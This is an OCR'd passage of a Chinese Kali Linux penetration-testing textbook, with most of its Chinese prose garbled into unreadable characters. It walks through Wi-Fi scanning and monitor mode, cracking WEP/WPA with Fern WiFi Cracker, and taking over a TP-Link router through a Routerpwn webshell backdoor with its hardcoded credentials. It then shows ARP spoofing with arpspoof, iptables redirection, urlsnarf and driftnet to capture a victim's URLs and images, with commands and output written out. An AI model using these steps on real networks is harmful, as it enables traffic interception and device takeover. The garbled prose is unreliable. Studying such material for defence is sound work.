easy-creds-2014-07-24-1722/ettercap2014-07-24-1724 .eci

WAL RS, 2w’ 9.35 Fraam At .

|
Ettercap Accounts L o [ x

P 935 RE M ER
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(9) MizFtmn] LIERPE R, SRR P i PG BB Ml .
96 EMEIR BRI LWL

JCERA 6 A TT BLIE B [0I2 4745 BackTracks % Kali b, 75 Kali Fu BLSZHLfY Lk
BRI, (M RER E AT LUEAT . 255 1 S0 T ERTAEIR B 523 Kali Linux 54 34,
RIS AR IR S 4 Ed

(1) fEHEIR |41 ifconfig 434 A7 JE 4k M AL ML UM . BT fr & 01 F BT 2%

root@kali:~# ifconfig
ethO Link encap:Ethernet HWaddr 00:0c:29:7a:59:75
inet addr:192.168.0.112 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:-fe7a:5975/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:240510 errors:0 dropped:0 overruns:0 frame:0
TX packets:130632 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen: 1000
RX bytes:275993519 (263.2 MiB) TX bytes:26073827 (24.8 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:1706270 errors:0 dropped:0 overruns:0 frame:0
TX packets: 1706270 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:250361463 (238.7 MiB) TX bytes: 250361463 (238.7 MiB)
wlan0 Link encap:Ethernet HWaddr 22:34:f7:f6:c1:d0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

M IE . BEAT—N 408 wlan0 (40 XL RLEMROHIR . WRE
AHERDRLUEL, FATW R ar & Bah L& mMas, WFn:
root@kali:~# ifconfig wlan0 up

(2) AFEEMNFER. TS FTrR:

root@kali:~# iwlist wlan0 scanning
wlan0 Scan completed :
Cell 01 - Address: 14:E6:E4:AC:FB:20
Channel:1
Frequency:2.412 GHz (Channel 1)
Quality=62/70 Signal level=-48 dBm
Encryption key:on
ESSID:"Test"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
Extra:tsf=0000000339efb6a2
Extra: Last beacon: 48ms ago
IE: Unknown: 000454657374
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IE: Unknown: 010882848B960C121824
IE: Unknown: 030101
IE: Unknown: 0706555320010D14
IE: Unknown: 2A0100
IE: IEEE 802.11//WPA2 Version 1

Group Cipher : CCMP

Pairwise Ciphers (1) : CCMP

Authentication Suites (1) : PSK
IE: Unknown: 32043048606C
IE: Unknown: 2D1A2C0003FF000000000000000000000000000000
0000000000000000
IE: Unknown: 331A2C0003FF0000000000000000000000000000000
0000000000000
IE: Unknown: 3D16010011000000000000000000000000000000000
00000
IE: Unknown: 3416010011000000000000000000000000000000000
00000
IE: WPA Version 1

Group Cipher : CCMP

Pairwise Ciphers (1) : CCMP

Authentication Suites (1) : PSK
IE: Unknown: DD180050F2020101030003A4000027A4000042435E
0062322F00
IE: Unknown: DD0900037F01010000FF7F
IE: Unknown: DD800050F204104A0001101044000102103B0001031
04700100000000000001000000014E6E4ACFB201021000754502D4C
494E4B10230009544C2D57523734304E10240003312E30104200033
12E301054000800060050F204000110110018576972656C65737320
AE20526F757465722057523734304E100800020086103C000101

Cell 09 - Address: DA:64:C7:2F:A0:FF

Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=36/70 Signal level=-74 dBm

DA ESds TSR Son TR RGN WK MAC ik, (FiE. e, &
FABAE.
(3) JashELMF MUl A2 ~ErR:

root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e

PID Name

2618 NetworkManager

2870 wpa_supplicant

27052 dhclient
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy16]

(monitor mode enabled on mon0)

MBS b, ol UG #6263 1 wlan0 A shlamrkiat, Ui 14 mon0, B
TE, 8 nl DA F 2422 4l gk e 2 B S 45 it

TEM IR, nl LA Wireshark (7247 F 7 tepdump 5L tshark KA 2R 5N . 15
ANERAE A SATIRAE RIS, n] L8 ] Wireshark f4 1] JE 5 i R S HL.

(1) JA3h Wireshark T H. $047ar4 W0 K Frs:

» 299 -



it
o

A REE A

root@kali:~# wireshark &
(2) 7E Wireshark [14% 0 1) 8 1 IEFE mon0 $:11, IFELdi Start $¢8l, W& 9.36 s,

Interface List = Open

a Live list of the capture interfaces Opena previously captured file
(counts incoming packets)
Open Recent:

Start
Choose one or more interfaces to capture from, then Start g Sample Captures

— Arichassortment of example captuy|
# wlan0
L I il boeloa (MELOS L inkask £l |[~]

Ready to load or capture No Packets Profile: Default

Pl 936 EEEHIIEEN

(3) Jd s Wireshark fifi3k )5, K5 BB 937 B i

"
M sbcpeapng [Wireshark 1.10.7 (v1.10.7-0-g6b931al from master-1.10)] m@E
Fle Edit View 3o Capture Anabze Statstic Telephony Tools [nternals Help

Ppodmd ERx@ AccaTLIEE QAN #DB % 8

Filtzr: |w|an‘fc‘lype == El Expression.. Clear Apply Save

No. Time Source ~ Destination Protocol length Info i
106 43.166853000KTngjonD_20:22:92 Broadcast 802.11 04 Probe Request, 5N=3076, . Flags=......... S5ID=Test

107 42.170459000 Tp-LinkT_ac:fb:20 kingjonp_20:22:92 802.11 407 Probe Response, sN=903, , SSID=Test
108 43.174220000 Tp-LinkT_ac:fh:20 Kingjonp_20:22:92 802.11 407 Probe Response, SN=904, , SSID=Test
109 43.406340000 Tp-LinkT_ac:Tb:20 Kingjonp_20:22:92 802.11 407 Probe Response, SN=907, , S5ID=Test
116 48, 260065000 Tp-LinkT_ac:fb:20 KingjonD>_20:22:92 802.11 407 Probe Response, SN=963, y SSID=Test
‘11‘? 49. 263836000 Tn—1 inkT ac:fh:220 kinoionm ?'?F:D?:Q) An2.11 407 prohe Resnonse. SN:QGG.J 5 .-:.-:Tn:Tpr.I

(7] M‘ File: "C:\Users\lyw\Desktop\abc.pcapng” 47 kB 00:0... | Packets: 204 - Displayed: 76 (37.3%) - Load time: 0:00.022 Profile: Default
L

K937 HiERIEL IR

(4) {EiZFHmnT LA 2 106 Wil % /i A% Probe Reques £, 15KIERH H . 107
4% B #% /2 1% Probe Response £, WL | %% P 5 1 =K

MEL S S, wl BLA 24 ] BRGE SSID JEA RS & — MmN . 7F Wireshark
H, A MAC HihE i JERAS R B A R k. X B ] LAY A atrodump iy 2 R — o2k
N PRBNETAZ N S T R MAC ik, 38 X T R

airodump-ng —c ok AP #9158 —a bssid(AP #9 MAC k) mon0

LRI ERECR ) w1 MAC BuhkEi P U7 A6 ] macchanger #ir 444 H 2B R 11)
MAC Hihit A5 240k %7 S B MAC #ihit, BT Rl lad B2 21 9 2%

[3:45 9-51 {#J1] Fern WiFi Cracker T EIt7, 7EMZEIR Xt WEP fil WPA/WPA2
M 4. BARERAELIRMW s .

(1) J43h Fern WiFi Cracker T E.. #T#araU Fras:

root@kali:~# fern-wifi-cracker
PATEL Ediv 25, R 2o inlE 9.38 Fros ) FHm .
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WO W GER M EIE A

Fern WIFI Cracker

[ Select Interface ve)

(B

Select aninterface eard

Detection Status

e Wi Crackar 1.9 | @ o
Currently installed version: Revision 94
g Key Database | Mo Key Etries
SRR
Aircrack Version: Aircrack-ng 1.2 betal
Qt Version: 4.9.3 ToolBox

About Fern WIFI Cracker

GUI suite for wireless encryption strength testing of 802,11 wireless encryption standard sccess points

Written by Savieur Ermanuel Biko Report Bugs at : savioboyz @rodetmsil.com

) S o s i

i 9.38 Fern WiFi Cracker 1= 7

(2) {EZFMEFE LM H0, 4.0 Scan for Access points PRI T4 k2%,

W 9.39 ik,

Fern WIFI Cracker

W wlanl c] [ g Refresh

Meritor Mode Ermbled on mond

((')) Active

@ WEP 1 Detected
Fern WIFI Cracker 1.9 @ WrA 12 Detmetad
Unable to ched: for updates retwork timeout
G Key Database Ne Key Ertries
Python Version: 2.7.3 default
Aircrack Version: Aircradi-ng 1.2 betal
Ot Version: 4.9.3 ToolBox

About Fern WIF| Cracker

GUI suite for wireless eneryption strength testing of B02. 11 wireless encryption standard aceess points

Writter by Savieur Emmaruel Beike Report Bugs st : savishoyz @ rodketmail com

P 939 R JoLk Mk
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30 B AEEN

(3) 7Ei% Tk £ WiFi WEP 5% WiFi WPA Elbxr, F o 9.40 B FLim .

Attack Panel

P 9.40 EEETGE A AR

(4) fEiz i Fe i A br. #R)5 8 WiFi Attack $41, TFaa 4l wl&l 9.41 pok.

Attack Panel

/941 FEAEME

(5) MizFmal LIS, CfIkE 6556 MR, HM3REIRA 2 TAaR, Ka
BRI T A o ELR DEI R A ) AH 24, W O R S
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9 E JE MR EENA

97 HFEHRWEH

B2 ) B0 L, H AR R 1, SRIER DR M. T/ — gk
PR PRI (P AT g, B AR R R B WS — WHEH P A TR M H 81w 4,
SRR MR E A E . E S PR o B AR RO ERH P 4 R .
IR, B S AR TE— BT, YL P S S A BT T TR K8 ) o S
i, A w AR TR tH 88 B 2 A7 6 0 e R S8 My o AR/ 28] Routerpwn 1L SE il 5
ol 55 HH A%

Routerpwn HJ g J& A KB 28 50 1) 4> L . e R & B 251 . Routerpwn
AFELE Kah b, & HUE AW uh. HE R L4 hitp:/routerpwn.com/ . 12 9 3l 4 {1 1) U
Tl FARZ T i i BR tH 3% . Wi 9.42 iR,

2Wire

3Com Comtrend Netgear TRENDnRet

DD-Wrt Pirelli Ubee

Arris . bee
Alcatel D-Link  RuggedCom  Ubiquiti

EE Sagem Unicorn
EasyBox Seagate UTStarcom
Fibrehome Siemens Xavi
Freebox Sitecom ZyXEL
Huawei SMC ZTE
MiFi Thomson Zoom
Motorola TP-Link

Lucent
Alpha
Asmax
Asus
Belkin
Cisco

942 Routerpwn 1= VI THI

MG LLE B RZ ) A ey, Wi A IR D-Link, Huawei, Netgear fll
TP-Link 5. 4G F A bR S5 £ AH N A7) 1, X HLIESE TP-Link, K 4 75 i &
9.43 Pz i 51 -

TP-LINK

TD-8817, TD-W8901G, WDR740N, WR743ND, WR842ND, WA-901ND,
WR941N, WR941ND, WR1043ND, WR2543ND, MR3220, MR3020,
WR841N, TD-8840T , WDR740N, WDR740D

05/26/12 I+] TP-Link WDR740ND/WDR740N - Directory Traversal [SET IP]
01/14/14 I+ TD-8840T - Reset Password to Blank [SET IP]

08/06/13 [+ WR1043ND denial of service [SET IP]
08/06/13 I+] WR1043ND enable roct filsystem on FTP CSRF [SET IP]
04/06/13 [+ TD-8817 TD-W8901G blank admin password CSRF [SET IP]

05/26/12 I+] Webshell backdoor (user: osteam password: Sup) [SET IP]
A Top

Bl 943 SrFprI S K il



3R FABEN

MAZ T ] LAE B SR /SRS ) TP-LINK # b 2% & 0] R FH A998 70 « 75 2% i 250
WHNFEh G7n T IR H W JR A S B —NEIA[SET IP]. %% 2 M K3 E H brik
HHAS 1) 1P,

[3£519-6]1 F|H] Webshell backdoor i, FRHL I HEEE HHAS CA] g 25 IP M
HE7 192.168.0.1) x4 AT, HARFERAEDERUT .

(1) 714 9.43 HpLli[SET IPJHAH, 45— N REHE, Wil 9.44 firos.

(2) FEAZAFTERE R, i N B (It 28 10 TP Bkl o RS 5dhy “#foe” $edl, Kt
e 9.45 Frasra iEHE o

ESHTIHIIE

FBSEE hitp//192.168.0,1:80 EREAWABAENEE,
FRES=857 : TP-LINK Wireless N Router WR1041N,

routerpwn.com ERIMEER

BHFE:  admin
IP: | =5 . aaan ‘
wE || W B® | W
944 A bR 2% 1P Hohik B 9.45 8t m gt i HE

(3) 0% T AN B B A 0 P A F s i, — A el 28 BN 0 P 42 Fd e 2
admin. X580y “ ok L R SR iE 9.46 R B .

mee ] =0

L& J[ 7% |

e Iz [ &= || B

_ EEEE
| EERE
_ EEHE
_ BENAT |
EEME
 EEMEER

BEBAE
| EEAE
- EEEEE

FEARP |
EERE '

o946 AT Am

(4) BEIF, 7EI% T T LIAT —SE 757 B 2805 B %, TR LR, 4. Bk
A NAT %5, S0 ELRE I 9.46 s (RS AHHILTE AR A5 B o 7B LT AT fir -
TN P4 B A . 3 HL TP 4 R 2 Routerpwn 3 )1 Webshell backdoor il
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$O W LM LEBIENA

TRALEH P A FIE S Costeam A Sup) o [, fdy “HEME” $&4l, Y onanE 9.47
B ) S -

( —-rE
/ [ TL-WRI1041N x \
€« - & [)192.168.0.1/userRpmNatDebugRpm26525557/linux_cmdline.html <% @ =
mPE st | W\ -
& T—&
e [ [ — T —
ifconfig -
br0 Link encap:Ethernet HWaddr 6C:E8=73:F0:3C:C0
inet addr:182.168.0.1 Bcast:182,168.0.255 Mask:2556.266.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RE packets:221877601 errors:0 dropped:0 overruns:0 frame:0
TE packets: 244867886 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 tzgqueuelen:0
R bytes: 1780662856 (1.6 GiB) TX bytes:2348208445 (2.1 GiB}
ethl Link encap:Ethernet HWaddr 00:03:7F:FF:FF:FF
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RE packets:31374488 errors:0 dropped:36002 overruns:0 frame:0
TE packets: 26320788 errors:0 dropped:l overruns: 2613 carrier:0 e
collisions:0 txqueuelen: 300 EEHE
RX bytes:1042057706 (1.8 GiB) TX bytes: 1137624415 (1.0 GiB)
TEME
ethl. 1 Link encap:Ethernet HWaddr 6C:E8:T3:FG:3C:CO
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l BEHRA
RX packets:221878385 errors:0 dropped:0 overruns:0 frame:0
TE packets:24486T896 errors:0 dropped:0 overruns:0 carrier:0 HEENAT
collizions:0 txqueuelen:0 —
RE bytes: 2668220808 (2.4 GiB) TH bytes:3327681028 (3.0 GiB) EEATE
ethl.2  Link encap:Ethernst HWaddr 6C:E8:73:F8:3C:Cl EEMAEER
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l >
RE packets:244353222 errors:0 dropped:0 overruns:0 frame:0 BEERAE
TX packets:217660608 errors:0 dropped:0 overruns:0 carrier:0 ———— ol

B 047 i i aR i) MR IEHAE B

(5) Mz Fmn] LUA B i ds b, BrA i Ren M4t i LR B, Wi b IP ik, MAC
HuhE A A AR A . W R ST A 2 AR, WTERTSHE P ifconfig AT, ARG
Bl AR AL, Wik 9.48 k.

( [ e

/[ TL-wR1041N x
€ - C 1 192.168.0.1/userRpmNatDebugRpm26525557/linux_cmdiine.html =

[T e e [

#s:  [iconfg [ =& [ &= [ &%
|
| | | )

Kl 9.48 zfTdr & AEMEEE

(6) TEZFAmpd “REX” 4245, s SAE 947 thrfE B —F.
9.8 Arpspoof TE-

Arpspoof st NAER UK ARP BB FUEACRIRE T . " IIBAT A2 R0 224> 1 24 1) i
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W3R B REENLL

fris, 2 TR M RD R 0t dar v AR M TS B0 RO . ATTK5 /28 Arpspoof TR
T

9.8.1 URL =R MNBEH

URL it E# /AR L T ) NSy, Ja5d F AR TR EE B o s A B AR M i20d
PR IEL ARP FEAN SIS i AN TR 2848 ] Arpspoof I HS2HL URL it 20 54l .
] Arpspoof . HS2H] URL i d 8 E Broki . PSR AR D ERUNT o

(1) JTJa B th A ThRE. AT air & IR iR

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

AT Ean &5, BAARATE DA .

(2) Ja38) Arpspoof JEAMd AbrH e Modi () 7k e Mo (192.168.6.102) ik
ARP #ndl, DURIWMSC (192.168.6.1) FIHIZS (192.168.6.101) . i /G H
PRARGE, AT W F TR

root@kali:~# arpspoof -i ethO -t 192.168.6.101 192.168.6.1

50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:25:49:eb:46:8d

50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:25:49:eb:46:8d
50:€5:49:eh:46:8d 0:19:21:3f.c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:5:49:eh:46:8d

B A BB 7B W H AR AL 192.168.6.102 35 B B AL . HoH
50:e5:49:eb:46:8d L R I ili 4 1] MAC Hihik; 19:21:3f¢3:e5 %18 192.168.6.101 [¥] MAC Hihk.
YU BB, HAR L 192.168.6.101 2535 192.168.6.1 AIXEHR I, #HOK A
1P| 192.168.6.102 .

(3) /] Arpspoof i ATCH M 2. $ATAr 4 W F TR

root@kali:~# arpspoof -i ethO -t 192.168.6.1 192.168.6.101

50:5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d

50:€5:49:eh:46:8d 14:e6:e4:ac:fh:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d

50:e5:49:eh:46:8d 14:e6:e4:ac:fh:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:€5:49:eb:46:8d

50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:€5:49:eb:46:8d

PL 5 VB Bl B OC 192.168.6.1 AR MEER 1 . HixBudki G, MoE
192.168.6.1 J 4 Hbr 45 192.168.6.101 |- [1945 L K 12% 8 el % 41 192.168.6.102 |-

(4) L FPIRFRIAT RN )G, Bk F A = T4 T OG5 B AR EHLA 4 s . 2%
digt o] LUB B s, A B HAR RS R EERE

N T EAIERL EE R, RS AT R

(2] 9-71 Hilfd ] Wireshark #UEL4G1IE Arpspoof T HAYXH; . HAAERMED I
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HOF  ALMGBEN

BT
(1) Ji#h Wireshark T F.. 7F Kali Linux 5K RESE “ N HIFEF” Kali Linux|Top 10
Security Tools|wireshark iy 4, 4 San1Pd 9.49 Frosi Sl .

The Wireshark Network Analyzer [Wireshark 1.10.2 (SVN Rev 51934 from /tr HIEilli

File Edit View Go Capture Apalyze Statistics Telephony Tools Internals Help

©® = Elxc aesrar T e BEE -

Filter: v | Expression... v

The World's Most Popular Network Protoco,

WlRESHARK Version 1,10.2 (SVN Rev 51934 from /trunk-1.10)

_ Interface List = Open

S Live list of the capture interfaces Opena previously captured file
(counts incoming packets)
Open Recent:

ql Start

| /root/Desktop/aa.pcap [not found]
Choose one or more interfaces to capture from, then Start Iroot]targethost.pcap (22 kB)
E‘etho tmp/targethost.pcap [not found
& nflog
Sample Captures
E‘any o o P P )
Ready to load or capture : No ... - Profile: Default

% 949 Wireshark 3 ) 71

(2) {EiZJ4H Start N, EPFEFNIRMED . X HIEFE etho, R)5 % Start $#4,
1 SR W 9.50 F R (1) i

*ethO [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] Hl!id

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
©e@dm  shxclaeraraTs B -

Filter: v | Expression... v

| ’ | |
No. Time Source Destination Protocol | Len

0000 f ff ff ff ff ff 00 50 56 cO 0D 08 08 06 00 OL  ....... PVeriinn

0010 08 00 06 04 0O Q1 OO SO 56 cO OO0 08 cO a8 29 01 ....... PV.ous ).
0020 00 00 OO OO OO QO cO a8 29 02 00 00 0O GO0 00 0O  ........ ) I
O ¥ File: "/tmp/wireshark_pcapng_eth0... *... " Profile: Default

Pl 9.50 M7

(3) &AM N LA Wireshark BEATAHOCCE SR Bl 457 LEAIRIH B0l 2.

(4) 7 AR ES 192.168.6.101 |- ping [ 192.168.6.1. FHAT A4 F i
C:\Users\Administrator>ping 192.168.6.1

DL By A HAT5e )5, F Kali F A F Wireshark HUR M ESE 6, Wikl 9.51 Frx.
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F3E AAEEN

*ethO [Wireshark 1.10.2 (SVN Rev 51934 From /trunk-1.10)] Hljd

File Edit View Go <Capture Analyze Statistics Telephony Tools Internals Help

edinm  @fhxelaes»ra T FEE R EBE= ~
Filter: ‘ ~ | Expression. . Claar Apply RTF

| |
No. | Time Source Destination | Protoceol | Lengt! | Info

28 2014-85-14 07:15:38 192.1€8.6.101 192.168.6.1 Icme 74 Ecko (pznc) request :d=0x2001, s=2q=13/ b 2

9 2814-05-14 07:15:38 192,168.6. 16 ).168.6.101 ICM 02 Recirsc: \Redirect for host) |

30 2€14-85-14 07:15:38 192.168.6.101 192.168.6.1 ICMP 74 Ecke (pong) request :d=0x2001, s=q=13/3328, ttl=127

31 2€14-85-14 07:15:38 192.168.6.1 192.168.6.101 ICM> 74 Ecko (p-nc) reply -d=0x2001, s=q=13/3328, ttl=64
14-85-14 07:15:38 192.168.6.1¢ ).168.6.1 M2 )) Recirsc:

33 2014-05-14 @7:15:38 102.168.5.1  102.168.6.181 IcM> 74 Ecko (pzng) reply -d=0x2001, s=2q=13/3328,

+ Frame 28: 74 byzes on wire (592 bits!, 74 bytes captured [S02 bizs) eon interface ©

| Czhernet II, Src: Clitegro_3f:c3J:eS [00:19:21:3f:c3:e5), Dst: Giga-Dyt_eb:456:0d (S0:eS:<9:eb:46:0d)
+ Inlernel Prolucel Vers_or 4, Src: 192.168.6.101 (192.188.6.101), D=L: 192.1::3.0.:%(192.105.0.1)

+ Internet Ccntro. Message Protoccl

OClO 00 3c 03 aa DO OC 8D 01 a9 60 cO a8 €6 65 cC a8  .<...... . ...E..
OCZ0 06 01 ©8 CO 4d 4e 0D 01 ©O 0d 61 62 €3 64 65 66  ....MN.. ..abcdef

DCOD 50 €5 49 eb 46 8d 00 19 2L 3f c3 €5 €8 00 45 00 F.I.F... 17....E. I
0C30 67 €0 69 €a 6b 6¢c 6d 6e &f 70 71 72 73 74 75 76 ghijklmn opgrstuv

O# File: ".’tn’u:!\mreshark_pcapm_;.ethl‘).‘.E Packets: 83 - Displayed: 83 (100.0%) - Dropped: 0 (.. " Profile: Default

951 WM

(5) R ERT 192.168.6.101 5 192.168.6.1 2 [a) 54 AL 4 n it ft . Hovp p gy dse A
RGeS 28-33, 28-30 2 — M aREdE Rl FE, 31-33 & Hbrm N LR, N
TEL 43 747 2R ) B £
28: 7% 192.168.6.101 (JE) 7] 192.168.6.1 (HFR) K% ping iiizK.

29: F7R 192.168.6.102 ¥ 192.168.6.101 [ T4 % .

30: IR 192.168.6.102 K A S R HHAL, #F1n) 192.168.6.1 KIXiiK.

31: FoRFAFRTEHL 192.168.6.1 W[V 192.168.6.101 [11ii53K .

32 FENiZNA R R I%F) 192.168.6.102 |, I iZ EHLE K F 192.168.6.1.
33: FFrEHL 192.168.6.1 $55e K P8 ik 45 192.168.6.101 |-.

OC0000O

9.8.2 imHEE R

Sy 11 2R 1) S s 1 e e o VR i 1 B T OB — A o VB B Rl R
80 it 1), Jf H. 3 5 [ & IR0 A B AN 7] (13 1 (1l 8080) o S HWIX S ATy (¥ LAk gh A2 W]
PAJC A BE R, TAA AT RABE R € T i) 22 4= ) g 1 AN B o 1, B0 o) O B8 B 1Y
—MFE i N e AN 4 (E ] Arpspoof SZHLE M HE [ K. {11 Arpspoof SZHL
giig LVHE € ) Bt . AR P R AR R

(1) IR i e R BT . T ar & FRTR:

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

(2) )iz Arpspoof 1 H.yE Ayt B ERIN M g% . il h, A op (f) BRA B OC ik Ik 24
192.168.6.1. AT 4 FIiR:

root@kali:~# arpspoof -i eth0 192.168.6.1

1E Kali Linux _E#{TEA B4 4 ), ST (S E. X2 Kali 1.0.6 _Ef—> bug,
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O E JE MR EENA

MRz AR dsniff PR B A2 dsmiff-2.4bl+debian-22. 4417 arpspoof i & AN i
FbR R GRS, JUATTE dsniff #0160 dsniff-2 4bl+debian-21.1 A4 W[ IEF ST .
(3) ¥Rk v VA SE (6] (R RS« HAT iy 2 TR

root@kali:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port
8080

HPATLL &g, WA .
DL EVEE RIS, 24 7 R RO 192.168.6.1 11 80 I M A ik i sk Int, ¥ 2x 4l % 4 8080
st R IR Bt # B E.

9.8.3 MR I ML

b ) A i 73k, TR Kali Linux $F RZANTE H b EHURIER 282 ), iX
B HLP el AR PR B H AR NI BT AT ol . AN/ 21085 8] Arpspoof TR 5 il
N 1 AN 5 P A TITE (BT i R W s AL S 1

(1) TP E s KR AT 2 W R PR:

root@Kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

(2) f 1] Arpspoof iy & Bt LML AT Air- 1 K.

root@kali:~# arpspoof -i ethO -t 192.168.6.106 192.168.6.1

0:¢:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:¢:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:¢:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:¢:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:¢:29:7a:59:75 0:¢:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:¢:29:7a:59:75 0:¢:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:¢:29:7a:59:75 0:¢:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:¢:29:7a:59:75 0:¢:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:¢:29:7a:59:75 0:¢:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75

WATLL Ffr A F & UF 192.168.6.106 C H 4% EHL) . K LH MAC Hb ik 2
00:0¢:29:7a:59:75 (HBiili BHL) o M HAR BEHMCERZIE BN, S 1E 0 ARP 27RO
FIRSE ARP 46 H o $UATUL Edn 4, ANaAshiFEib. WRAFEAGN, #% F Cul+C 4
T s ki

(3) &F HAr AV URL Mk . $ATdH S W R ETR:

root@kali:~# urlsnarf -i ethO

urlsnarf: listening on ethO [tcp port 80 or port 8080 or port 3128]

192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET http://192.168. 6.1:1900/igd.xml HTTP/1.1" -
- "-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET hitp://192.168. 6.1:1900/13f xml HTTP/1.1" -
- "-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET http://192.168. 6.1:1900/ifc.xml HTTP/1.1" -
- "-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:33 +0800] "GET http://192.168. 6.1:1900/ipc.xml HTTP/1.1" -
- "-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "GET http://192.168. 6.1:1900/igd.xml HTTP/1.1" -
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- "-""Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168. 6.1:1900/ipc HTTP/1.1" - -
"-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168. 6.1:1900/ifc HTTP/1.1" - -
"-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168. 6.1:1900/ipc HTTP/1.1" - -
"-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168. 6.1:1900/ifc HTTP/1.1" - -
"-" "Microsoft-Windows/6.1 UPnP/1.0"

PA bt 045 S B oR 7 AR ALY i) LI R 45 L.

(4) M e el LIEH] Driftmet TEL, filigk A AR R G000 W B Fr o $AT Ar &k Bk

root@kali:~# driftnet -i ethO

PATEA a2 a, BT 0. S HEs EALT 2 IO A E R e, KTz
[N R TI

(5) BAER Hbr BALE, Vyin) LB LA A3k 5 B flhn, BEAEAE HAx By B
DU A% Vg ) e 0, B LR Sl P 9.52 BTz Y B

driftnet - | 0| X

B19.52  Hds ALYl (P A

(6) %A Wor T Hbs BAL EV7 ] BB o BEFE AT P vl LU L S P 9.52 v 4T
i —sk P b, &E AR ] Kali BHL Eo BEiF driftnet dy4 1, Ko HILW FRTREY
o

root@kali:~# driftnet -i ethO

driftnet: saving “/tmp/drifnet-YbOzig/driftnet-53c9d45¢c168e121f.png' as "driftnet-0.png’

driftnet: saving “/tmp/drifnet-YbOzig/driftnet-53c9d45¢168e121f.png' as "driftnet-1.png’

driftnet: saving “/tmp/drifnet-YbOziq/driftnet-53c9d4ca5d888a08.jpeg’ as "driftnet-2_jpeg’

